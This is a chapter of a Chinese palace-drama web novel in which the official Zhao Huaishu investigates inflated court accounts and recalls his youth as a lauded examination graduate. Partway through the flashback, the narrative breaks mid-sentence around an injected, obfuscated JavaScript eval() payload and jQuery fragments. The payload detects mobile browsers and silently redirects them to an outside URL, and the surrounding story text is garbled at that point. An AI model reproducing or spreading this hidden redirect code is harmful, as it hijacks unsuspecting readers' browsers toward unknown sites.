北风刺骨,然而赵怀书的步伐未有一丝迟疑,他离开御膳府后,径直前往司簿司。
司簿司是宫中管理账目的中枢机构,负责记录管理宫女的名册以及后宫内务、膳食、赏赐等支出,虽位置不显,却是尚宫局运转的核心之一。
赵怀书刚踏入司簿司的院子,便闻到一股淡淡的墨香,伴随着纸张翻动的沙沙声。
“赵掌印。”司簿司的掌簿迎上来行礼,脸上挂着谦卑的笑。
赵怀书回礼,温声直接了当地说道,“奉皇上口谕,查御膳府的账,望掌簿配合。”
掌簿微微一怔,随即恭敬地应了一声,转身去取账簿。
不多时,她捧着一本厚厚的册子回来,双手呈上:“这是御膳府的支出账簿,还请赵掌印过目。”
赵怀书接过账簿,翻开逐页查阅。
“一枚鸡蛋五两银子。”赵怀书再次看到这个数字,心头的疑虑更深。
他随手翻到下一页,又发现了许多类似的高价记录,肉价、菜价、果价,无一例外全都贵得离谱。
“为何宫中的物资价格如此之高?这些账单都经过核查吗?”赵怀书抬起头,目光如炬。
掌簿略显为难地低下头,小声答道:“赵掌印,这些账单的确是经过核查的,但价格……这是承应膳上报的,我们只负责记录,并未深入查问。”
“只是记录,不查问?”赵怀书语气微冷。
掌簿连忙摇头,声音中透着几分惶恐:“掌印明鉴,司簿司只是记录,具体情况需问御膳府或负责采买的承应膳差人。”
赵怀书闻言,将账簿合上,心道:“看来这宫中每一个环节,都是睁一只眼闭一只眼。”
*
赵怀书走出司簿司,手中依旧攥着那本厚厚的账簿。
忽然听到身后传来轻微的脚步声和账簿碰撞的声音。
他下意识回头望去,见到一个熟悉的身影正从司簿司的偏厅中走出。
关宁怀里抱着一摞厚厚的账簿,身后跟着两名小宫女,各自也抱着厚厚的账簿。
寒风吹动她的披帛,发梢微微飘扬。她垂着头,显然是在专注地调整怀中的账簿,没注意到站在门前的赵怀书。
“关掌记。”赵怀书停下脚步,看了一下衣摆,捋了捋衣襟,出声唤道。
关宁闻声抬头,见是他,微微一怔,随即笑着点头行礼:“赵掌印,早啊。”
“早。”赵怀书目光扫过她手中的账簿,接过,“雪天地滑,掌记当心。”
关宁略微一怔,本想拒绝,但看着他伸出的手,还是松开了怀中的账簿。
双臂轻松下来后,她抬手理了理被寒风吹乱的发丝,淡笑着说道:“多谢赵掌印。”
赵怀书微微点头,走到她的另一侧,缓缓开口:“关掌记也是来查看账簿的?”
“赵掌印也是?”
他温声:“被掌记猜到了。最近奉皇上口谕彻查宫中物资问题。”
关宁挑了挑眉,似笑非笑地说道:“看来掌印最近过的不太舒服。”
他垂下目光,手指下意识地攥紧了怀中的账簿,却又很快松开。
关宁察觉到他的沉默,转头看了他一眼,略带关切地问道:“赵掌印似乎有些疲惫,今日查账,可是遇到了什么难题?”
赵怀书闻言摇了摇头,语气恢复了往日的沉稳:“无碍,多谢关掌记关心。”
关宁也没再追问,只是目光停留在他身上片刻,心中暗自思量,赵怀书今日的举动,似乎与平日略有不同。
他的沉默和目光中,隐隐带着一丝难以捉摸的情绪。
两人就这样并肩而行,身后的小宫女们安静地跟着,一路无话。
直到来到司记司偏厅门口,她才停下脚步,转身向赵怀书伸出手:“赵掌应,劳您帮忙了,账簿我自己收拾便好。”
赵怀书看着她的手,将账簿递给了她,他的指尖无意间碰到她的手背,冷若寒霜的触感让他微微一怔,随即迅速收回手。
“多谢。”关宁接过账簿,神情如常地微微颔首,转身吩咐身后的宫女,“把其他账簿都搬进去,我一会儿要用。”说罢行了个礼转身离去。
赵怀书站在原地,目送她的身影消失在厅中,长长地吐出一口气,转身离开了尚宫局的偏厅。
他不知道的是,在他转身的瞬间,站在厅门口的关宁也回头看了他一眼,目光中带着一丝若有若无的探究与疑惑。
*
内务府,早晨的阳光透过窗棂洒在屋内,赵怀书静静地翻阅着账簿,神色平静而冷峻。
他的目光在一行行数字之间快速扫过,偶尔会停顿片刻,但很快又恢复了流转。
单总管则坐在一旁,悠然自得地端着茶盏,似乎对这场突如其来的检查毫不在意。
赵怀书翻阅着面前的一本账簿,目光细致而锐利,他的脸上没有多余的表情,但眉宇间那一丝不易察觉的沉凝,仍透露出他心中的些许疑虑。
“赵掌印,这账簿可是有哪里不妥?”单总管懒懒地靠在椅背上,轻轻吹散浮起的茶叶。
“账簿没有问题。”赵怀书合上手中的账簿,语气温和,“物料清单记录得清清楚楚,没有纰漏。”
单总管笑了笑,放下茶盏:“那便好。内务府的账簿,一向都是如此清白。”
赵怀书抬眼看他,目光深沉,温声:“如此清白,反倒叫人觉得不真实。”
单总管闻言,挑了挑眉,似笑非笑地看着他:“赵掌印此言,可是怀疑老奴有意遮掩?”
他端起茶盏轻轻吹了吹:“账簿就在这里,赵掌印尽管查看便是,内务府的账向来是宫中最不会出差的地方。”
“正因如此,我才更想看看。”赵怀书轻声说道,语气中透着一丝难以捉摸的意味。
他翻阅账簿的动作停了片刻,抬头看向单总管:“内务府每日记录的物资入库清单,确实干净得很。”
“干净就好,”单总管端着茶盏,目光微微一敛,“宫中各处都依赖着内务府的账簿调配物资,若是连这都出了问题,那才是大事。”
他语气平静,却透着一种事不关己的疏离感。这种态度让赵怀书的眉头越蹙越深。
他放下账簿,语气中多了几分探究:“单总管,您真是半点都不在意?”
“赵掌印不必绕弯子,您想问什么,直说便是。”
赵怀书没有回答,只是沉默地盯着他。
片刻后,他开口道:“单总管在内务府任职多年,宫中事务您最是熟悉。可如今宫中的物资开支远超寻常,问题究竟出在哪,您真的毫不知情?”
单总管笑了,笑声中带着几分嘲弄:“赵掌印,内务府的职责,是将账目记得清楚、登记得明白。至于这些账目之外的弯弯绕绕,老奴向来不过问。”
赵怀书没有回答,而是转身从案台上抽出另一本账簿,继续翻看起来。
屋内的气氛一时间变得有些微妙,寒风透过门缝吹入,将屋内的烛火吹得摇曳不定。
单总管似是看出了他的疑虑,摇了摇头,语气变得缓和了几分:“赵掌印,不必用这种眼神看我。老奴不过是个记账的,管不来那么多事。”
他说着,忽然话锋一转,微微一笑:“不过,您年纪轻轻,却已是司察司的掌印,实在是了不得。老奴年岁大了,许多事情都记不清楚了,但有些人和事,却还是印象深刻。”
“朝阳初升,赫然天地之正色;霞光铺地,照彻乾坤之明德。苍穹未开,星光隐退,万象俱寂而待春雷之惊动;东风已至,寒木渐苏,百草蒙润而迎日轮之初绽。
夫朝阳之道,贵乎中正。其升也,万物竞焕,农夫策犁,匠者挥锤;其光也,泽被庶类,野老得暖,幼子安眠。是故国如朝阳,虽有薄云短障,亦不能蔽其光辉;邦如朝阳,若得和风雨露,则必昌而不竭;明主若朝阳,循天之理而不逾,施泽于民而不偏。
......
嗟乎!朝阳者,天命之兆也,亦人君之象也...承高祖之遗德,秉高宗之明训,宏仁义以惠苍生,延日月以固社稷......”
庆安十六年,上京大街小巷都在流传着圣上钦点的探花郎的《朝阳赋》。
犹记琼林宴一曲舞罢,宫人撤下酒菜,换上新鲜的蜜饯与果糕,恰是赵怀书最爱的一味,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824183|158764||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不自觉地抿了口茶,低眉间的神色仍藏着少年人对于未来的无尽期许。
第二日清晨踏马游街可谓空前盛事,京城百姓早已等候在朱雀大街两旁。
百花争艳的春日里,街头满是人潮,孩童骑在父亲肩上挥舞彩带,街边的茶室端着刚炖好的茶汤给路人分发,少年的目光追逐着骑马游街的年轻进士们,满怀着向往。
新科进士们身穿绯袍、头戴进士帽,皂纱飘带,额配簪花,身骑白马,仪仗举旌旗,沿着朱雀大街徐徐而行。沿途观者如云,万人空巷,大户闺秀或卷帘观望,或登楼远眺,欢声笑语,皆论三甲,年少才高,容貌旖丽,意气风发,而探花郎更甚。
赵怀书策马而行,衣摆随着马蹄微微摆动,显得翩若惊鸿。
他面如冠玉,姿态潇洒,沿街不知多少闺阁少女为他抛来鲜花与红帕。
坊巷之间,百姓们欢声笑语,争相围观这群年轻俊朗的进士们。
街巷两侧挂满了五彩的丝绸与灯笼,偶尔有贩夫走卒手持长竹竿,为游街的进士们递上花束。赵怀书几次拱手谢过,脸上始终挂着温和的笑意。
游街途中经过太学,众学子齐声朗诵。那清朗的读书声如钟鼓般传遍大街小巷,令满城尽闻这份浓烈的书香气息。赵怀书望着太学的方向,眼神微微湿润。
他数十年寒窗苦读,终于在今日得偿所愿。
最后,游街队伍停在朱雀门前。赵怀书从马上翻身而下,稳步走入宫门。
身后百姓的欢呼声渐渐远去,他心中却涌起一股从未有过的沉重,他知肩负的不仅是家族的荣耀,更有朝堂的期盼,以及自己的抱负。他抬头望着巍峨的皇宫,心中默念:“但愿此生,无负此袍,无愧此心。”
一切仿佛近在眼前。赵怀书记得,那时正值仲春,花开锦簇,长安城内热闹非凡,他穿着新制的士子青袍,满怀少年意气,那一年,他年仅十六。
*
单总管笑了笑,语气带着几分缅怀:“那年老奴给皇上送折子,恰巧撞见了殿试。老奴还记得,您那篇《朝阳赋》,惹得皇上龙颜大悦,当即钦点为探花郎。那时您一身红袍,意气风发,真真是少年郎的模样。”
单总管抬手轻抚袖口,转而岔开话题:“赵掌印,老奴倒想问一句,到如今您可曾后悔?”
这一句,宛如锋刃刺入赵怀书心间。
他垂眸,眼底微不可察地晃动了一下,垂下目光。
“后悔?若能以一人之困,换多年后庶民之乐,何须后悔?”
单总管怔住,旋即笑道:“转眼便四年过去。美玉蒙尘,实在令人感叹啊。”
“单总管谬赞了。”赵怀书语调平静,却透着疏离,不愿多谈往事。
单总管瞥了他一眼,轻笑一声,语气忽而轻松了起来:“赵掌印,最近宫中倒是出了件有趣的事,不知您可曾听说?”
赵怀书抬起头,语气平和地问道:“单总管指的是哪一件?”
“便是方家的那位少爷,”单总管端起茶盏,慢悠悠地说道,“现如今也入了皇城禁军,混了个左监门校尉倒也算是风光无限,前些日子却跑去青楼吃酒,结果被那位徐家出身的夫人在门口逮了个正着,拎着耳朵拖了回去。哈哈,这事儿在禁军里传得沸沸扬扬,连宫人们都知晓了。”
忽而一笑,话锋一转:“不过宫中人事纷扰不断,有时想想,倒也有趣。”
赵怀书眉心微蹙,眼中闪过一丝思索,随即开玩笑说道:“是吃花酒?”
单总管点点头,语气随意:“是啊。”
“那便是方家公子的不是了。”他抿了口茶,“家有爱妻,还去寻花问柳。”
“据说这位方家公子颇有手段,深得监门将军器重。不过嘛,人无完人,他这贪杯的毛病,可是出了名的。”
单总管不再说些什么,只是微微一笑:“赵掌印,宫中的风,总是吹得比外头要冷些。您年纪轻轻,可要好好保重啊。”
赵怀书心中了然,起身向单总管拱了拱手:“多谢单总管提点,怀书告辞了。”
“赵掌印慢走。”单总管望着他的背影,眼中带着几分意味深长的笑意。